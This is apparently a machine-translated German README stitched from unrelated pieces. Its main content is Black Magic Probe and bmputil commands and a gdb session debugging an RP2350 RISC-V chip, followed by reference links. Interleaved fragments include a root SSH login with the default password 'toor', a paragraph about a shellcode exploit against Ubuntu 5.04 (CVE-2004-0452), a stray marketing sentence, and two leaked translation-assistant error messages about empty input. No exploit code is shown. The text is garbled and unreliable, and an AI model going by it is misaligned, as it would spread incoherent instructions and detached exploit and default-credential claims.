root / toor)ssh root@localhost -p 2222
Passwort: toor
Dieses Tool dient ausschließlich zu Bildungs- und autorisierten Testzwecken. Die Autoren übernehmen keine Verantwortung für Missbrauch.``` cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
Es war auch bei einem Angriff nützlich, der bekanntermaßen gegen Ubuntu 5.04 (CVE-2004-0452) über localhost funktioniert, wenn der Angriff dieses präzise Stack-Layout erfordert. Falls diese CVE eine andere Ubuntu-Version betrifft, sollte es möglich sein, das Skript anzupassen und die Ausnutzung zu erreichen.
Hinweis: Das bereitgestellte Linux-Stack-Layout und der Shellcode sind Linux-spezifisch. Verwenden Sie dieses Skript nicht gegen ein Nicht-Linux-Ziel, da der Exploit sonst nicht wie vorgesehen funktioniert.
## Docker
Erstellen, ausführen und verwenden:```
./bmputil-cli probe info
Found: Black Magic Probe 2.0.0
Serial: BEF6A9B0
Port: 1-3
I don't see any content to translate. The input appears to be empty. Please provide the Markdown content for chunk 173.``` ./bmputil-cli probe update Updating release metadata cache [2026-01-08T13:27:41Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present [2026-01-08T13:27:41Z INFO bmputil_cli] Latest release 2.0.0 is not newer than firmware version 2.0.0, not updating
Secure Folders erleichtert das effiziente Management potenzieller Risiken und ermöglicht die Priorisierung umsetzbarer Maßnahmen zur Risikominderung.```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb
The input chunk appears to be missing — no content was provided after "INPUT:". Please provide the Markdown text for chunk 177 of 179 so I can translate it into German.``` (gdb) target extended-remote /dev/ttyBmpGdb Remote debugging using /dev/ttyBmpGdb (gdb) monitor auto_scan Target voltage: 3.3V JTAG scan found no devices, trying SWD! Available Targets: No. Att Driver 1 RP2350 rv32imac 2 RP2350 rv32imac (gdb) attach 1 Attaching to Remote target warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0x100000aa in ?? () (gdb) x/10i $pc => 0x100000aa: addi a1,a1,4 0x100000ac: addi a2,a2,4 0x100000ae: bltu a2,a3,0x100000a6 0x100000b2: ret 0x100000b4: addi a3,sp,128 0x100000b6: addi s0,sp,32 0x100000b8: unimp 0x100000ba: fld fs0,0(s0) 0x100000bc: sw a3,96(a5) 0x100000be: jal 0x100000be (gdb) c Continuing.
# Weitere Dokumentation
- https://docs.riscv.org/reference/isa/
- https://github.com/riscv-software-src/riscv-isa-sim
- https://www.cs.sfu.ca/~ashriram/Courses/CS295/assets/notebooks/RISCV/RISCV_CARD.pdf
- https://github.com/Wren6991/Hazard3
- https://datasheets.raspberrypi.com/rp2350/rp2350-datasheet.pdf
- https://datasheets.raspberrypi.com/pico/getting-started-with-pico.pdf
- https://datasheets.raspberrypi.com/pico/raspberry-pi-pico-c-sdk.pdf
- https://www.raspberrypi.com/documentation/pico-sdk/index_doxygen.html
- https://github.com/raspberrypi/pico-examples